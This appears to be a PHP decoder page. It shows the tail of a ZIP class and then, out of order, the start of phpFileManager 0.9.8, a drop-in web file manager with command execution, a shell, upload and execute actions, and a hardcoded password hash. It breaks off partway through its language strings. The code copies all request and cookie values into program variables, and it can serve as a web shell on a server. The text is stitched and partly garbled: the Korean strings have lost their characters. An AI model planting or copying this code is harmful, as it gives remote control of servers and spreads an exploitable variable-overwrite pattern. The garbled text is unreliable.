
        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($this->files as $current)
        {
            if($current['name'] == $this->options['name'])
            {
                continue;
            }
            $translate =  array(''=>pack("C",128),''=>pack("C",129),''=>pack("C",130),''=>pack("C",131),''=>pack("C",132),
                                ''=>pack("C",133),''=>pack("C",134),''=>pack("C",135),''=>pack("C",136),''=>pack("C",137),
                                ''=>pack("C",138),''=>pack("C",139),''=>pack("C",140),''=>pack("C",141),''=>pack("C",142),
                                ''=>pack("C",143),''=>pack("C",144),''=>pack("C",145),''=>pack("C",146),''=>pack("C",147),
                                ''=>pack("C",148),''=>pack("C",149),''=>pack("C",150),''=>pack("C",151),'_'=>pack("C",152),
                                ''=>pack("C",153),''=>pack("C",154),''=>pack("C",156),''=>pack("C",157),'_'=>pack("C",158),
                                ''=>pack("C",159),''=>pack("C",160),''=>pack("C",161),''=>pack("C",162),''=>pack("C",163),
                                ''=>pack("C",164),''=>pack("C",165));
            $current['name2'] = strtr($current['name2'],$translate);

            $timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
            $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
                ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);

            $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);

            if($current['stat'][7] == 0 && $current['type'] == 5)
            {
                $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
                $block .= $current['name2'] . "/";
                $this->add_data($block);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'] . "/";
                $files++;
                $offset += (31 + strlen($current['name2']));
            }
            else if($current['stat'][7] == 0)
            {
                $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this->add_data($block);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']));
            }
            else if($fp = @fopen($current['name'],"rb"))
            {
                $temp = fread($fp,$current['stat'][7]);
                fclose($fp);
                $crc32 = crc32($temp);
                if(!isset($current['method']) && $this->options['method'] == 1)
                {
                    $temp = gzcompress($temp,$this->options['level']);
                    $size = strlen($temp) - 6;
                    $temp = substr($temp,2,$size);
                }
                else
                {
                    $size = strlen($temp);
                }
                $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
                $block .= $current['name2'];
                $this->add_data($block);
                $this->add_data($temp);
                unset($temp);
                $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
                    (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
                    $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
                $central .= $current['name2'];
                $files++;
                $offset += (30 + strlen($current['name2']) + $size);
            }
            else
            {
                $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
            }
        }

        $this->add_data($central);

        $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
            !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));

        if(!empty($this->options['comment']))
        {
            $this->add_data($this->options['comment']);
        }

        chdir($Pwd);

        return 1;
    }
}
// +--------------------------------------------------
// | THE END
// +--------------------------------------------------
?>

Did this file decode correctly?

Original Code

<?php
//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"a178352751b9a072dea0748f99a73f00";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";i:1;s:7:"fm_root";s:0:"";s:17:"cookie_cache_time";i:2592000;s:7:"version";s:5:"0.9.8";}
/*--------------------------------------------------
 | PHP FILE MANAGER
 +--------------------------------------------------
 | phpFileManager 0.9.8
 | By Fabricio Seger Kolling
 | Copyright (c) 2004-2013 Fabrcio Seger Kolling
 | E-mail: [email protected]
 | URL: http://phpfm.sf.net
 | Last Changed: 2013-10-15
 +--------------------------------------------------
 | OPEN SOURCE CONTRIBUTIONS
 +--------------------------------------------------
 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
 | By Devin Doucette
 | Copyright (c) 2004 Devin Doucette
 | E-mail: [email protected]
 | URL: http://www.phpclasses.org
 +--------------------------------------------------
 | It is the AUTHOR'S REQUEST that you keep intact the above header information
 | and notify him if you conceive any BUGFIXES or IMPROVEMENTS to this program.
 +--------------------------------------------------
 | LICENSE
 +--------------------------------------------------
 | Licensed under the terms of any of the following licenses at your choice:
 | - GNU General Public License Version 2 or later (the "GPL");
 | - GNU Lesser General Public License Version 2.1 or later (the "LGPL");
 | - Mozilla Public License Version 1.1 or later (the "MPL").
 | You are not required to, but if you want to explicitly declare the license
 | you have chosen to be bound to when using, reproducing, modifying and
 | distributing this software, just include a text file titled "LEGAL" in your version
 | of this software, indicating your license choice. In any case, your choice will not
 | restrict any recipient of your version of this software to use, reproduce, modify
 | and distribute this software under any of the above licenses.
 +--------------------------------------------------
 | CONFIGURATION AND INSTALATION NOTES
 +--------------------------------------------------
 | This program does not include any instalation or configuration
 | notes because it simply does not require them.
 | Just throw this file anywhere in your webserver and enjoy !!
 +--------------------------------------------------
*/
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------	
    ini_set("error_reporting","E_ALL & ~E_NOTICE");
	$charset = "UTF-8";
    [email protected](LC_CTYPE, 'C');
    header("Pragma: no-cache");
    header("Cache-Control: no-store");
	header("Content-Type: text/html; charset=".$charset);
	[email protected]_set('default_charset', $charset);
    if (@get_magic_quotes_gpc()) {
        function stripslashes_deep($value){
            return is_array($value)? array_map('stripslashes_deep', $value):$value;
        }
        $_POST = array_map('stripslashes_deep', $_POST);
        $_GET = array_map('stripslashes_deep', $_GET);
        $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    }
	// Server Vars
    function get_client_ip() {
        $ipaddress = '';
        if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
        else if($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
        else if($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
        else if($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
        else if($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
        else if($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
		// proxy transparente no esconde o IP local, colocando ele aps o IP da rede, separado por vrgula
		if (strpos($ipaddress, ',') !== false) {
		    $ips = explode(',', $ipaddress);
		    $ipaddress = trim($ips[0]);
		}
		if ($ipaddress == '::1') $ipaddress = '';
        return $ipaddress;
    }		
    $ip = get_client_ip();
    $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
    function getServerURL() {
        $url = ($_SERVER["HTTPS"] == "on")?"https://":"http://";
        $url .= $_SERVER["SERVER_NAME"]; // $_SERVER["HTTP_HOST"] is equivalent
        if ($_SERVER["SERVER_PORT"] != "80") $url .= ":".$_SERVER["SERVER_PORT"];
        return $url;
    }
    function getCompleteURL() {
        return getServerURL().$_SERVER["REQUEST_URI"];
    }
    $url = getCompleteURL();
    $url_info = parse_url($url);
	if( !isset($_SERVER['DOCUMENT_ROOT']) ) {
		if ( isset($_SERVER['SCRIPT_FILENAME']) ) $path = $_SERVER['SCRIPT_FILENAME'];
		elseif ( isset($_SERVER['PATH_TRANSLATED']) ) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
		$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));
	}
	$doc_root = str_replace('//','/',str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]));
    $fm_self = $doc_root.$_SERVER["PHP_SELF"];
    $path_info = pathinfo($fm_self);
	// Register Globals
	$blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE','charset','ip','islinux','url','url_info','doc_root','fm_self','path_info');
    foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
    foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
    foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
// +--------------------------------------------------
// | Config
// +--------------------------------------------------
    $cfg = new config();
    $cfg->load();
    switch ($error_reporting){
        case 0: error_reporting(0); @ini_set("display_errors",0); break;
        case 1: error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); break;
        case 2: error_reporting(E_ALL); @ini_set("display_errors",1); break;
    }
    if (!isset($current_dir)){
        $current_dir = $path_info["dirname"]."/";
        if (!$islinux) $current_dir = ucfirst($current_dir);
        [email protected]($current_dir,0755);
    } else $current_dir = format_path($current_dir);
    // Auto Expand Local Path
    if (!isset($expanded_dir_list)){
        $expanded_dir_list = "";
        $mat = explode("/",$path_info["dirname"]);
        for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];
        setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
    }
    if (!isset($fm_current_root)){
        if (strlen($fm_root)) $fm_current_root = $fm_root;
        else {
            if (!$islinux) $fm_current_root = ucfirst($path_info["dirname"]."/");
            else $fm_current_root = $doc_root."/";
        }
        setcookie("fm_current_root", $fm_current_root, 0, "/");
    } elseif (isset($set_fm_current_root)) {
        if (!$islinux) $fm_current_root = ucfirst($set_fm_current_root);
        setcookie("fm_current_root", $fm_current_root, 0, "/");
    }
    if (!isset($resolveIDs)){
        setcookie("resolveIDs", 0, time()+$cookie_cache_time, "/");
    } elseif (isset($set_resolveIDs)){
        $resolveIDs=($resolveIDs)?0:1;
        setcookie("resolveIDs", $resolveIDs, time()+$cookie_cache_time, "/");
    }
    if ($resolveIDs){
    }
    $fm_color['Bg'] = "EEEEEE";
    $fm_color['Text'] = "000000";
    $fm_color['Link'] = "0A77F7";
    $fm_color['Entry'] = "FFFFFF";
    $fm_color['Over'] = "C0EBFD";
    $fm_color['Mark'] = "A7D2E4";
    foreach($fm_color as $tag=>$color){
        $fm_color[$tag]=strtolower($color);
    }
// +--------------------------------------------------
// | File Manager Actions
// +--------------------------------------------------
if ($loggedon==$auth_pass){
    switch ($frame){
        case 1: break; // Empty Frame
        case 2: frame2(); break;
        case 3: frame3(); break;
        default:
            switch($action){
                case 1: logout(); break;
                case 2: config_form(); break;
                case 3: download(); break;
                case 4: view(); break;
                case 5: server_info(); break;
                case 6: execute_cmd(); break;
                case 7: edit_file_form(); break;
                case 8: chmod_form(); break;
                case 9: shell_form(); break;
                case 10: upload_form(); break;
                case 11: execute_file(); break;
                default: frameset();
            }
    }
} else {
    if (isset($pass)) login();
    else login_form();
}
// +--------------------------------------------------
// | Config Class
// +--------------------------------------------------
class config {
    var $data;
    var $filename;
    function config(){
        global $fm_self;
        $this->data = array(
            'lang'=>'en',
            'auth_pass'=>'a178352751b9a072dea0748f99a73f00',
            'quota_mb'=>0,
            'upload_ext_filter'=>array(),
            'download_ext_filter'=>array(),
            'error_reporting'=>1,
            'fm_root'=>'',
            'cookie_cache_time'=>60*60*24*1, // 30 Days
            'version'=>'0.9.8'
            );
        $data = false;
        $this->filename = $fm_self;
        if (file_exists($this->filename)){
            $mat = file($this->filename);
            $objdata = trim(substr($mat[1],2));
            if (strlen($objdata)) $data = unserialize($objdata);
        }
        if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
        else $this->save();
    }
    function save(){
        $objdata = "<?php".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
        if (strlen($objdata)){
            if (file_exists($this->filename)){
                $mat = file($this->filename);
                if ($fh = @fopen($this->filename, "w")){
                    @fputs($fh,$objdata,strlen($objdata));
                    for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
                    @fclose($fh);
                }
            }
        }
    }
    function load(){
        foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
    }
}
// +--------------------------------------------------
// | Internationalization
// +--------------------------------------------------
function et($tag){
    global $lang;

    // English - by Fabricio Seger Kolling
    $en['Version'] = 'Version';
    $en['DocRoot'] = 'Document Root';
    $en['FLRoot'] = 'File Manager Root';
    $en['Name'] = 'Name';
    $en['And'] = 'and';
    $en['Enter'] = 'Enter';
    $en['Send'] = 'Send';
    $en['Refresh'] = 'Refresh';
    $en['SaveConfig'] = 'Save Configurations';
    $en['SavePass'] = 'Save Password';
    $en['SaveFile'] = 'Save File';
    $en['Save'] = 'Save';
    $en['Leave'] = 'Leave';
    $en['Edit'] = 'Edit';
    $en['View'] = 'View';
    $en['Config'] = 'Config';
    $en['Ren'] = 'Rename';
    $en['Rem'] = 'Delete';
    $en['Compress'] = 'Compress';
    $en['Decompress'] = 'Decompress';
    $en['ResolveIDs'] = 'Resolve IDs';
    $en['Move'] = 'Move';
    $en['Copy'] = 'Copy';
    $en['ServerInfo'] = 'Server Info';
    $en['CreateDir'] = 'Create Directory';
    $en['CreateArq'] = 'Create File';
    $en['ExecCmd'] = 'Execute Command';
    $en['Upload'] = 'Upload';
    $en['UploadEnd'] = 'Upload Finished';
    $en['Perm'] = 'Perm';
    $en['Perms'] = 'Permissions';
    $en['Owner'] = 'Owner';
    $en['Group'] = 'Group';
    $en['Other'] = 'Other';
    $en['Size'] = 'Size';
    $en['Date'] = 'Date';
    $en['Type'] = 'Type';
    $en['Free'] = 'free';
    $en['Shell'] = 'Shell';
    $en['Read'] = 'Read';
    $en['Write'] = 'Write';
    $en['Exec'] = 'Execute';
    $en['Apply'] = 'Apply';
    $en['StickyBit'] = 'Sticky Bit';
    $en['Pass'] = 'Password';
    $en['Lang'] = 'Language';
    $en['File'] = 'File';
    $en['File_s'] = 'file(s)';
    $en['Dir_s'] = 'directory(s)';
    $en['To'] = 'to';
    $en['Destination'] = 'Destination';
    $en['Configurations'] = 'Configurations';
    $en['JSError'] = 'JavaScript Error';
    $en['NoSel'] = 'There are no selected itens';
    $en['SelDir'] = 'Select the destination directory on the left tree';
    $en['TypeDir'] = 'Enter the directory name';
    $en['TypeArq'] = 'Enter the file name';
    $en['TypeCmd'] = 'Enter the command';
    $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $en['RemSel'] = 'DELETE selected itens';
    $en['NoDestDir'] = 'There is no selected destination directory';
    $en['DestEqOrig'] = 'Origin and destination directories are equal';
    $en['InvalidDest'] = 'Destination directory is invalid';
    $en['NoNewPerm'] = 'New permission not set';
    $en['CopyTo'] = 'COPY to';
    $en['MoveTo'] = 'MOVE to';
    $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
    $en['ConfExec'] = 'Confirm EXECUTE';
    $en['ConfRem'] = 'Confirm DELETE';
    $en['EmptyDir'] = 'Empty directory';
    $en['IOError'] = 'I/O Error';
    $en['FileMan'] = 'PHP File Manager';
    $en['TypePass'] = 'Enter the password';
    $en['InvPass'] = 'Invalid Password';
    $en['ReadDenied'] = 'Read Access Denied';
    $en['FileNotFound'] = 'File not found';
    $en['AutoClose'] = 'Close on Complete';
    $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
    $en['NoCmd'] = 'Error: Command not informed';
    $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
    $en['ConfSaved'] = 'Configurations saved';
    $en['PassSaved'] = 'Password saved';
    $en['FileDirExists'] = 'File or directory already exists';
    $en['NoPhpinfo'] = 'Function phpinfo disabled';
    $en['NoReturn'] = 'no return';
    $en['FileSent'] = 'File sent';
    $en['SpaceLimReached'] = 'Space limit reached';
    $en['InvExt'] = 'Invalid extension';
    $en['FileNoOverw'] = 'File could not be overwritten';
    $en['FileOverw'] = 'File overwritten';
    $en['FileIgnored'] = 'File ignored';
    $en['ChkVer'] = 'Check for new version';
    $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
    $en['ChkVerNotAvailable'] = 'No new version available. :(';
    $en['ChkVerError'] = 'Connection Error.';
    $en['Website'] = 'Website';
    $en['SendingForm'] = 'Sending files, please wait';
    $en['NoFileSel'] = 'No file selected';
    $en['SelAll'] = 'All';
    $en['SelNone'] = 'None';
    $en['SelInverse'] = 'Inverse';
    $en['Selected_s'] = 'selected';
    $en['Total'] = 'total';
    $en['Partition'] = 'Partition';
    $en['RenderTime'] = 'Time to render this page';
    $en['Seconds'] = 'sec';
    $en['ErrorReport'] = 'Error Reporting';

    // Portuguese by - Fabricio Seger Kolling
    $pt['Version'] = 'Verso';
    $pt['DocRoot'] = 'Document Root';
    $pt['FLRoot'] = 'File Manager Root';
    $pt['Name'] = 'Nome';
    $pt['And'] = 'e';
    $pt['Enter'] = 'Entrar';
    $pt['Send'] = 'Enviar';
    $pt['Refresh'] = 'Atualizar';
    $pt['SaveConfig'] = 'Salvar Configuraes';
    $pt['SavePass'] = 'Salvar Senha';
    $pt['SaveFile'] = 'Salvar Arquivo';
    $pt['Save'] = 'Salvar';
    $pt['Leave'] = 'Sair';
    $pt['Edit'] = 'Editar';
    $pt['View'] = 'Visualizar';
    $pt['Config'] = 'Config';
    $pt['Ren'] = 'Renomear';
    $pt['Rem'] = 'Apagar';
    $pt['Compress'] = 'Compactar';
    $pt['Decompress'] = 'Descompactar';
    $pt['ResolveIDs'] = 'Resolver IDs';
    $pt['Move'] = 'Mover';
    $pt['Copy'] = 'Copiar';
    $pt['ServerInfo'] = 'Server Info';
    $pt['CreateDir'] = 'Criar Diretrio';
    $pt['CreateArq'] = 'Criar Arquivo';
    $pt['ExecCmd'] = 'Executar Comando';
    $pt['Upload'] = 'Upload';
    $pt['UploadEnd'] = 'Upload Terminado';
    $pt['Perm'] = 'Perm';
    $pt['Perms'] = 'Permisses';
    $pt['Owner'] = 'Dono';
    $pt['Group'] = 'Grupo';
    $pt['Other'] = 'Outros';
    $pt['Size'] = 'Tamanho';
    $pt['Date'] = 'Data';
    $pt['Type'] = 'Tipo';
    $pt['Free'] = 'livre';
    $pt['Shell'] = 'Shell';
    $pt['Read'] = 'Ler';
    $pt['Write'] = 'Escrever';
    $pt['Exec'] = 'Executar';
    $pt['Apply'] = 'Aplicar';
    $pt['StickyBit'] = 'Sticky Bit';
    $pt['Pass'] = 'Senha';
    $pt['Lang'] = 'Idioma';
    $pt['File'] = 'Arquivo';
    $pt['File_s'] = 'arquivo(s)';
    $pt['Dir_s'] = 'diretorio(s)';
    $pt['To'] = 'para';
    $pt['Destination'] = 'Destino';
    $pt['Configurations'] = 'Configuraes';
    $pt['JSError'] = 'Erro de JavaScript';
    $pt['NoSel'] = 'No h itens selecionados';
    $pt['SelDir'] = 'Selecione o diretrio de destino na rvore a esquerda';
    $pt['TypeDir'] = 'Digite o nome do diretrio';
    $pt['TypeArq'] = 'Digite o nome do arquivo';
    $pt['TypeCmd'] = 'Digite o commando';
    $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extenso determina o tipo de compactao.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $pt['RemSel'] = 'APAGAR itens selecionados';
    $pt['NoDestDir'] = 'No h um diretrio de destino selecionado';
    $pt['DestEqOrig'] = 'Diretrio de origem e destino iguais';
    $pt['InvalidDest'] = 'Diretrio de destino invlido';
    $pt['NoNewPerm'] = 'Nova permisso no foi setada';
    $pt['CopyTo'] = 'COPIAR para';
    $pt['MoveTo'] = 'MOVER para';
    $pt['AlterPermTo'] = 'ALTERAR PERMISSES para';
    $pt['ConfExec'] = 'Confirma EXECUTAR';
    $pt['ConfRem'] = 'Confirma APAGAR';
    $pt['EmptyDir'] = 'Diretrio vazio';
    $pt['IOError'] = 'Erro de E/S';
    $pt['FileMan'] = 'PHP File Manager';
    $pt['TypePass'] = 'Digite a senha';
    $pt['InvPass'] = 'Senha Invlida';
    $pt['ReadDenied'] = 'Acesso de leitura negado';
    $pt['FileNotFound'] = 'Arquivo no encontrado';
    $pt['AutoClose'] = 'Fechar Automaticamente';
    $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT';
    $pt['NoCmd'] = 'Erro: Comando no informado';
    $pt['ConfTrySave'] = 'Arquivo sem permisso de escrita.\\nTentar salvar assim mesmo';
    $pt['ConfSaved'] = 'Configuraes salvas';
    $pt['PassSaved'] = 'Senha salva';
    $pt['FileDirExists'] = 'Arquivo ou diretrio j existe';
    $pt['NoPhpinfo'] = 'Funo phpinfo desabilitada';
    $pt['NoReturn'] = 'sem retorno';
    $pt['FileSent'] = 'Arquivo enviado';
    $pt['SpaceLimReached'] = 'Limite de espao alcanado';
    $pt['InvExt'] = 'Extenso invlida';
    $pt['FileNoOverw'] = 'Arquivo no pode ser sobreescrito';
    $pt['FileOverw'] = 'Arquivo sobreescrito';
    $pt['FileIgnored'] = 'Arquivo omitido';
    $pt['ChkVer'] = 'Verificar por nova verso';
    $pt['ChkVerAvailable'] = 'Nova verso, clique aqui para iniciar download!!';
    $pt['ChkVerNotAvailable'] = 'No h nova verso disponvel. :(';
    $pt['ChkVerError'] = 'Erro de conexo.';
    $pt['Website'] = 'Website';
    $pt['SendingForm'] = 'Enviando arquivos, aguarde';
    $pt['NoFileSel'] = 'Nenhum arquivo selecionado';
    $pt['SelAll'] = 'Tudo';
    $pt['SelNone'] = 'Nada';
    $pt['SelInverse'] = 'Inverso';
    $pt['Selected_s'] = 'selecionado(s)';
    $pt['Total'] = 'total';
    $pt['Partition'] = 'Partio';
    $pt['RenderTime'] = 'Tempo para gerar esta pgina';
    $pt['Seconds'] = 'seg';
    $pt['ErrorReport'] = 'Error Reporting';

	// Spanish - by Sh Studios
    $es['Version'] = 'Versin';
    $es['DocRoot'] = 'Raiz del programa';
    $es['FLRoot'] = 'Raiz del administrador de archivos';
    $es['Name'] = 'Nombre';
    $es['And'] = 'y';
    $es['Enter'] = 'Enter';
    $es['Send'] = 'Enviar';
    $es['Refresh'] = 'Refrescar';
    $es['SaveConfig'] = 'Guardar configuraciones';
    $es['SavePass'] = 'Cuardar Contrasea';
    $es['SaveFile'] = 'Guardar Archivo';
    $es['Save'] = 'Guardar';
    $es['Leave'] = 'Salir';
    $es['Edit'] = 'Editar';
    $es['View'] = 'Mirar';
    $es['Config'] = 'Config.';
    $es['Ren'] = 'Renombrar';
    $es['Rem'] = 'Borrar';
    $es['Compress'] = 'Comprimir';
    $es['Decompress'] = 'Decomprimir';
    $es['ResolveIDs'] = 'Resolver IDs';
    $es['Move'] = 'Mover';
    $es['Copy'] = 'Copiar';
    $es['ServerInfo'] = 'Info del Server';
    $es['CreateDir'] = 'Crear Directorio';
    $es['CreateArq'] = 'Crear Archivo';
    $es['ExecCmd'] = 'Ejecutar Comando';
    $es['Upload'] = 'Subir';
    $es['UploadEnd'] = 'Subida exitosa';
    $es['Perm'] = 'Perm';
    $es['Perms'] = 'Permisiones';
    $es['Owner'] = 'Propietario';
    $es['Group'] = 'Grupo';
    $es['Other'] = 'Otro';
    $es['Size'] = 'Tamao';
    $es['Date'] = 'Fecha';
    $es['Type'] = 'Tipo';
    $es['Free'] = 'libre';
    $es['Shell'] = 'Ejecutar';
    $es['Read'] = 'Leer';
    $es['Write'] = 'Escribir';
    $es['Exec'] = 'Ejecutar';
    $es['Apply'] = 'Aplicar';
    $es['StickyBit'] = 'Sticky Bit';
    $es['Pass'] = 'Contrasea';
    $es['Lang'] = 'Lenguage';
    $es['File'] = 'Archivos';
    $es['File_s'] = 'archivo(s)';
    $es['Dir_s'] = 'directorio(s)';
    $es['To'] = 'a';
    $es['Destination'] = 'Destino';
    $es['Configurations'] = 'Configuracion';
    $es['JSError'] = 'Error de JavaScript';
    $es['NoSel'] = 'No hay items seleccionados';
    $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho';
    $es['TypeDir'] = 'Escriba el nombre del directorio';
    $es['TypeArq'] = 'Escriba el nombre del archivo';
    $es['TypeCmd'] = 'Escriba el comando';
    $es['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $es['RemSel'] = 'BORRAR items seleccionados';
    $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino';
    $es['DestEqOrig'] = 'El origen y el destino son iguales';
    $es['InvalidDest'] = 'El destino del directorio es invalido';
    $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer';
    $es['CopyTo'] = 'COPIAR a';
    $es['MoveTo'] = 'MOVER a';
    $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a';
    $es['ConfExec'] = 'Confirmar EJECUCION';
    $es['ConfRem'] = 'Confirmar BORRADO';
    $es['EmptyDir'] = 'Directorio Vacio';
    $es['IOError'] = 'Error I/O';
    $es['FileMan'] = 'PHP File Manager';
    $es['TypePass'] = 'Escriba la contrasea';
    $es['InvPass'] = 'Contrasea invalida';
    $es['ReadDenied'] = 'Acceso de lectura denegado';
    $es['FileNotFound'] = 'Archivo no encontrado';
    $es['AutoClose'] = 'Cerrar al completar';
    $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT';
    $es['NoCmd'] = 'Error: No se ha escrito ningun comando';
    $es['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar';
    $es['ConfSaved'] = 'Configuracion Guardada';
    $es['PassSaved'] = 'Contrasea guardada';
    $es['FileDirExists'] = 'Archivo o directorio ya existente';
    $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada';
    $es['NoReturn'] = 'sin retorno';
    $es['FileSent'] = 'Archivo enviado';
    $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado';
    $es['InvExt'] = 'Extension inalida';
    $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito';
    $es['FileOverw'] = 'Archivo sobreescrito';
    $es['FileIgnored'] = 'Archivo ignorado';
    $es['ChkVer'] = 'Chequear las actualizaciones';
    $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!';
    $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.';
    $es['ChkVerError'] = 'Error de coneccion.';
    $es['Website'] = 'Sitio Web';
    $es['SendingForm'] = 'Enviando archivos, espere!';
    $es['NoFileSel'] = 'Ningun archivo seleccionado';
    $es['SelAll'] = 'Todos';
    $es['SelNone'] = 'Ninguno';
    $es['SelInverse'] = 'Inverso';
    $es['Selected_s'] = 'seleccionado';
    $es['Total'] = 'total';
    $es['Partition'] = 'Particion';
    $es['RenderTime'] = 'Generado en';
    $es['Seconds'] = 'seg';
    $es['ErrorReport'] = 'Reporte de error';

	// Korean - by Airplanez
    $kr['Version'] = ' ';
    $kr['DocRoot'] = ' ';
    $kr['FLRoot'] = '   ';
    $kr['Name'] = '';
    $kr['Enter'] = ' ';
    $kr['Send'] = ' ';
    $kr['Refresh'] = ' ';
    $kr['SaveConfig'] = '  ';
    $kr['SavePass'] = '  ';
    $kr['SaveFile'] = '  ';
    $kr['Save'] = ' ';
    $kr['Leave'] = '';
    $kr['Edit'] = ' ';
    $kr['View'] = '';
    $kr['Config'] = '';
    $kr['Ren'] = '';
    $kr['Rem'] = ' ';
    $kr['Compress'] = '';
    $kr['Decompress'] = '';
    $kr['ResolveIDs'] = ' ';
    $kr['Move'] = '';
    $kr['Copy'] = '';
    $kr['ServerInfo'] = '  ';
    $kr['CreateDir'] = '   ';
    $kr['CreateArq'] = ' ';
    $kr['ExecCmd'] = '  ';
    $kr['Upload'] = '';
    $kr['UploadEnd'] = ' .';
    $kr['Perm'] = '';
    $kr['Perms'] = '';
    $kr['Owner'] = ' ';
    $kr['Group'] = '';
    $kr['Other'] = ' ';
    $kr['Size'] = '';
    $kr['Date'] = ' ';
    $kr['Type'] = '';
    $kr['Free'] = ' ';
    $kr['Shell'] = '';
    $kr['Read'] = '';
    $kr['Write'] = '';
    $kr['Exec'] = '';
    $kr['Apply'] = ' ';
    $kr['StickyBit'] = ' ';
    $kr['Pass'] = '';
    $kr['Lang'] = '';
    $kr['File'] = '';
    $kr['File_s'] = '';
    $kr['To'] = '';
    $kr['Destination'] = '';
    $kr['Configurations'] = '';
    $kr['JSError'] = ' ';
    $kr['NoSel'] = '   ';
    $kr['SelDir'] = '      ';
    $kr['TypeDir'] = '    ';
    $kr['TypeArq'] = '  ';
    $kr['TypeCmd'] = '   ';
    $kr['TypeArqComp'] = '  .\\n    .\\n:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $kr['RemSel'] = '    ';
    $kr['NoDestDir'] = '      .';
    $kr['DestEqOrig'] = '        ';
    $kr['NoNewPerm'] = '    ';
    $kr['CopyTo'] = ' ';
    $kr['MoveTo'] = ' ';
